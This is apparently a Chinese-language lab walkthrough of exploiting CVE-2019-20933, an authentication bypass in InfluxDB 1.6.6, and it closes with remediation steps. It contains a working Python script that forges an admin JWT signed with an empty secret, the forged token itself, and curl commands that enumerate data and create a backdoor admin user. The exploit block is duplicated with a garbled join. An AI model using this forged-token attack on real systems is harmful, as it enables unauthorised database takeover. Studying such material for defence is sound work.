从环境中正在运行的内容开始。我列出所有活动的容器:
docker ps

受害者暴露了一个端口:8086。
目前,我没有关于目标的详细信息。从 docker ps 输出中,系统仅对外暴露了一个值得注意的服务,端口为 8086,映射到容器内部的服务。这是需要分析的主要攻击面。
我们不立即通过浏览器访问它,而是使用 Nmap 对服务进行指纹识别,确定 8086 端口上运行的服务:
nmap -sV -sC -p 8086 192.168.3.137

扫描结果显示,8086 端口是 InfluxDB OSS 1.6.6 的 HTTP 服务。这是一个通过 HTTP API 暴露的时间序列数据库,而非典型的 Web 应用程序。
InfluxDB 是一个用 Go 编写的开源时间序列数据库(TSDB)。与 RDBMS(针对精确事务优化)或 Elasticsearch(针对文本搜索优化)不同,InfluxDB 的创建目的只有一个:处理大量写入(高写入吞吐量)并以低延迟沿时间轴查询数据。

由于服务已被指纹识别为 InfluxDB,下一步是参考 InfluxDB 与客户端通信的方式。根据 InfluxDB v1 HTTP API 文档,端口 8086 是默认的 HTTP API 端口。重要端点包括:
/ping:检查服务器的运行状态。/query:发送 InfluxQL 查询以读取元数据或数据。/write:将时间序列数据写入数据库。⇒ 思考: Nmap 将服务识别为 InfluxDB http admin 1.6.6 后,我们不再像测试标准网站那样继续测试它。对于 Web 应用程序,我们通常会查找路由、登录表单或目录。但对于 InfluxDB,攻击面在于 HTTP API。因此,我们需要切换测试方向,测试 InfluxDB 的标准 API 端点,以确定 API 是否需要认证。因此,下一阶段的测试方向不是通过浏览器访问 /,而是直接向 InfluxDB 的 API 端点发送请求。
/ping 端点在识别出 8086 端口为 InfluxDB HTTP API 后,检查 /ping 端点以确认服务正常运行:
curl -i <http://192.168.3.137:8086/ping>

响应 204 No Content 确认 InfluxDB 正在正常运行。头部信息进一步确认服务版本为 InfluxDB OSS 1.6.6
/query 端点的认证状态curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

/query 端点不允许在没有认证凭据的情况下直接查询。这证实了 InfluxDB 已启用认证,并阻止所有匿名查询发送到系统。
我转而思考:InfluxDB 1.6.6 版本是否存在任何允许绕过认证机制的漏洞?

通过查阅公开漏洞数据库,InfluxDB 早于 1.7.6 的版本受 CVE-2019-20933 影响。这是 InfluxDB 认证功能中的一个认证绕过漏洞,涉及处理带有空共享密钥的 JWT 令牌。
由于目标运行的是 InfluxDB 1.6.6,低于已修补版本 1.7.6,该服务处于受影响版本范围内。
可以得出结论:
Service: InfluxDB OSS
Version: 1.6.6
Authentication: 已启用
CVE mapping: CVE-2019-20933
Impact: 认证绕过
Status: 版本存在漏洞
⇒ 思考:最初,/query 端点返回 401 Unauthorized,表明认证机制处于活动状态。但启用认证并不意味着绝对安全。当版本被指纹识别为 1.6.6 时,我们需要将其与已知 CVE 关联。结果表明,该版本属于 CVE-2019-20933 影响的范围,意味着有可能绕过保护 /query 端点的认证机制。基于这些识别结果,利用阶段将专注于通过生成适当的 JWT 令牌来验证 CVE-2019-20933,以绕过认证并对 /query 端点执行查询。
CVE-2019-20933 漏洞发生在 InfluxDB 版本 1.7.6 之前 services/httpd/handler.go 文件中的 authenticate 函数。
InfluxDB 支持使用 JSON Web Token (JWT) 进行 HTTP API 请求的认证。接收到带有以下头部的请求时:
Authorization: Bearer <token>
InfluxDB 将执行以下步骤:
influxdb.conf 文件中读取 shared-secret 配置值,作为令牌签名验证的密钥。username 字段以确定执行查询的用户。在受影响版本中,如果启用了 JWT 认证但未配置 shared-secret 参数,秘密值可能被处理为空字符串 ("")。
系统在验证 JWT 签名之前未能充分验证秘密的安全性强度。这允许攻击者构造自定义的 JWT,使用空秘密对其进行签名,然后将 username 声明设置为系统上的有效帐户,例如 admin(如果实验室中存在此帐户)。
当通过 Authorization: Bearer <token> 头部提交此令牌时,InfluxDB 使用相同的空秘密验证签名。如果签名匹配且用户名存在,则请求将被授权,而无需用户的实际密码。
处理流程可总结如下:
逻辑层面的利用流程:
InfluxDB < 1.7.6
→ 认证已启用
→ 空 shared-secret
→ 攻击者创建使用秘密 "" 签名的 JWT
→ 通过 Authorization: Bearer 发送令牌
→ 服务器接受令牌
→ 对 /query 的查询成功
在了解 CVE 机制后,需要将其与目标关联,避免仅凭版本得出结论。
此时,CVE-2019-20933 被确定为针对目标的非常合适的候选漏洞。然而,要确认实际可利用性,我们必须生成一个使用空 shared secret 签名的 JWT,并将其发送到 /query 端点。
如果服务器接受此令牌并允许查询执行,才能得出结论,该 CVE 已成功利用。
根据上述漏洞机制分析,利用的条件是:
username。"") 对该令牌进行签名。Authorization: Bearer <token> 头部将令牌发送到 /query 端点。JWT 由三个点分隔的部分组成:Header.Payload.Signature
Header
{"alg":"HS256","typ":"JWT"}
Payload
{"username":"admin","exp":2147483647}
username:目标帐户。在本实验室中,InfluxDB 创建了一个默认的 admin 用户。exp:令牌过期时间,设置得非常遥远(2038 年),以避免因过期而被拒绝。Signature
HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))
在 Kali 上,我们使用单个命令生成完整的 JWT:
python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

我们得到字符串:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
b64url():将 Python 字典转换为 JSON 字符串,并以 Base64URL 格式编码(按照 JWT 标准删除 = 填充)。hmac.new(b'', ...):使用 HMAC-SHA256 算法,以空密钥(b'')对消息签名。这是利用向量——空密钥与服务器上未配置的 shared-secret 匹配。Header.Payload.Signature 字符串。/query 端点以验证 CVE将令牌保存到环境变量,然后发送 SHOW DATABASES 查询:
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"
curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
-H "Authorization: Bearer $TOKEN"

结果分析:
401 Unauthorized 变为 200 OK。⇒ 确认 CVE-2019-20933 在目标上已成功利用。 通过自制的使用空密钥签名的 JWT,我们完全绕过了认证机制,并以 admin 身份获得了查询访问权限。
成功绕过认证后,我们继续进行深入利用,以收集系统上数据库内部的敏感数据。从 SHOW DATABASES 结果来看,系统有两个数据库:_internal(InfluxDB 默认的内部监控数据库)和 sample(运营业务数据库)。
curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
-H "Authorization: Bearer $TOKEN"

系统仅包含一个用户:admin,具有管理员权限(admin: true)。这确认我们伪造的 JWT 已成功冒充了系统上唯一的管理员帐户。
_internal 数据库中的测量值sample 数据库不包含任何测量值(为空)。然而,_internal 数据库是 InfluxDB 的内部监控数据库,始终包含系统指标:
curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
-H "Authorization: Bearer $TOKEN"

_internal 数据库包含 12 个内部监控测量值:cq、database、httpd、queryExecutor、runtime、shard、subscriber、tsm1_cache、tsm1_engine、tsm1_filestore、tsm1_wal 和 write。这些表存储 InfluxDB 实例的详细运行统计信息——包括 HTTP 查询日志、数据库性能指标和存储引擎状态。
为了证明被绕过的 admin 访问权限不仅限于只读操作,还授予写入和管理权限,我们执行创建具有完全管理员权限的新用户帐户的操作:
curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
-H "Authorization: Bearer $TOKEN"

响应返回 statement_id: 0,没有 error 字段——确认 CREATE USER 命令已成功执行。攻击者现在可以直接使用 hacked/Dung 凭据以完全管理员权限登录,不再需要伪造的 JWT 令牌。
⇒ 这最有力地证明了漏洞 CVE-2019-20933 不仅允许数据泄露,还允许攻击者完全控制 InfluxDB 系统——包括用户配置、数据库销毁和系统配置修改。
与直接针对操作系统层的远程代码执行(RCE)漏洞(如实验 3)不同,CVE-2019-20933 的影响范围仅限于数据库级管理。然而,其严重性仍然极高,原因如下:
hacked 用户所证明的那样。为了完全修复此严重安全漏洞,系统管理员应立即实施以下对策:
强制使用强共享秘密配置 如果无法立即升级,编辑 influxdb.conf 配置文件,在 [http] 部分定义长、复杂且随机的共享秘密:
注意: 修改配置后需重启 InfluxDB 服务以使更改生效。
[http]
enabled = true
auth-enabled = true
shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
将 InfluxDB 实例升级到已修补版本 立即将 InfluxDB 升级至 1.7.6 或更高版本。开发人员在这些版本中修改了认证例程,以拒绝使用空或不安全共享秘密签名的 JWT 令牌。
8086 暴露于公共互联网。| 步骤 | 正常处理 | CVE-2019-20933 中的缺陷 |
|---|
| 1 | 客户端发送 Authorization: Bearer <token> | 攻击者自行创建 JWT |
| 2 | 服务器从配置中读取 shared-secret | shared-secret 未设置 |
| 3 | 服务器使用秘密验证 JWT 签名 | 秘密被处理为空字符串 "" |
| 4 | 如果令牌有效,从声明中检索 username | 攻击者设置 username=admin(如果用户存在) |
| 5 | 服务器基于声明用户授予权限 | 请求被接受,无需密码 |
| 条件 | 目标结果 | 评估 |
|---|
| 服务为 InfluxDB | Nmap 识别为 InfluxDB http admin 1.6.6 | 满足 |
| 版本在受影响范围内 | 1.6.6 < 1.7.6 | 满足 |
| 认证已启用 | /query 返回 401 Unauthorized | 满足 |
| 使用空共享秘密签名的 JWT 是否被接受? | 需要验证 | 未确认 |
| JWT 中的用户名是否有效? | 需要验证/实验室中假设 | 未确认 |
| 指标 | 评级 | 详细信息 |
|---|
| CVSS 评分 | 9.8(严重) | 由于利用简单,评级极高。 |
| 所需认证 | 无 | 完全绕过认证屏障,无需有效凭据。 |
| 利用复杂度 | 低 | 只需要使用空密钥生成伪造的 JWT,并通过 HTTP 头部发送。 |
| 获得权限 | InfluxDB 管理员 | 以 root 管理员权限完全控制 InfluxDB 数据库。 |
| 对数据的影响 | 高 | 导致所有敏感指标暴露,并具备修改或完全清除数据的权限。 |